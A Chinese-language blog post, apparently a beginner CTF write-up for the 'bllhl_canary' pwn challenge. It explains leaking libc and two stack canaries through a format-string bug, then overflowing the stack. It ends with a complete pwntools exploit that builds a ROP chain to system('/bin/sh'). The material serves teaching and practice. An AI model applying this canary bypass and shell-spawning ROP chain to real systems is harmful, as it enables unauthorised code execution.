web选手入门pwn(37)——bllhl\_canary
原创
珂字辈
珂字辈
珂技知识分享
2026年7月20日 16:27
湖北
在小说阅读器读本章
去阅读
https://www.polarctf.com/#/page/challenges
给了libc,和roderickchan/debug\_pwn\_env:22.04-2.35-0ubuntu3.8-20240601环境一样。
题如其名,是一道比较标准的canary题,第一个read配合printf是字符串格式化,用来泄露libc+canary的,第二个read有着明显的栈溢出。
如果只有这两个点就是入门的canary题了,但还存在v2/v3的校验,如果不相等则进入die\_custom。里面会直接退出,这样就错失栈溢出的必须条件ret。
因此v2/v3其实本质上是题目自己实现的canary2。
v2和v3都来自custom\_canary\_for(v7, v9),v2是在read(0x200)之前就确定的,因此可以用字符串格式化泄露,栈溢出时再填充进去。但v3是在read(0x200)之后的,那么只能期待custom\_canary\_for(v7, v9)我们可以完全控制,跟进去看一眼。
这里看起来是return 0,但实际上只是将末尾变0,使其具有canary特征,gdb里是这样的。
而且v7和v9,前者取的地址,后者取的值。v7地址肯定不变,但v9在栈上有可能被我们覆盖,要注意。
而其他三个因素,都不是我们所能控制的,但理论上它们都是固定的值,不需要考虑进去。
接着就是gdb调试,找到v2(canary2),v9,以及系统自带的canary1。
在read(0x200)后看栈。
这样看一目了然。接着就是计算偏移了,相信大家都是熟练工了不赘述。先泄露libc,v2(canary2),v9,canary1,然后栈溢出时照葫芦画瓢将v2/v9/canary1填充回去,最后走system(sh)即可。exp如下。
from pwn import *import re
context.log_level = 'debug'context.arch='amd64'context.terminal = ['tmux','splitw','-h']
sh = process(\"./pwn1\")#gdb.attach(sh, 'b *0x555555555704\
c\
')#sh = remote(\"1.95.36.136\", xxxx)
libc = ELF(\"./libc.so.6\")rop = ROP(libc)
sh.sendlineafter(\"leak:\", \"%21$p--%38$p--%39$p--%41$p\")
data = sh.recvuntil(b\"[stage2]\").decode()leaks = re.findall(r'0x[0-9a-fA-F]+', data)print(leaks)
libc_leak = int(leaks[0], 16)canary2 = int(leaks[1], 16)canary1 = int(leaks[3], 16)v9 = int(leaks[2], 16)
print(\"libc =\", hex(libc_leak))print(\"canary1 =\", hex(canary1))print(\"canary2 =\", hex(canary2))print(\"v9 =\", hex(v9))
base_libc = libc_leak - libc.sym['_IO_2_1_stdout_']system = base_libc + libc.sym['system']binsh = base_libc + next(libc.search(b\"/bin/sh\"))pop_rdi = base_libc + rop.find_gadget(['pop rdi', 'ret'])[0]ret = base_libc + rop.find_gadget(['ret'])[0]
payload = b\"A\"*96 + p64(canary2) + p64(v9) + b\"B\"*8 + p64(canary1) + b\"C\"*24payload += p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)sh.sendlineafter(\"now:\", payload)
sh.interactive()
远程获取flag
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论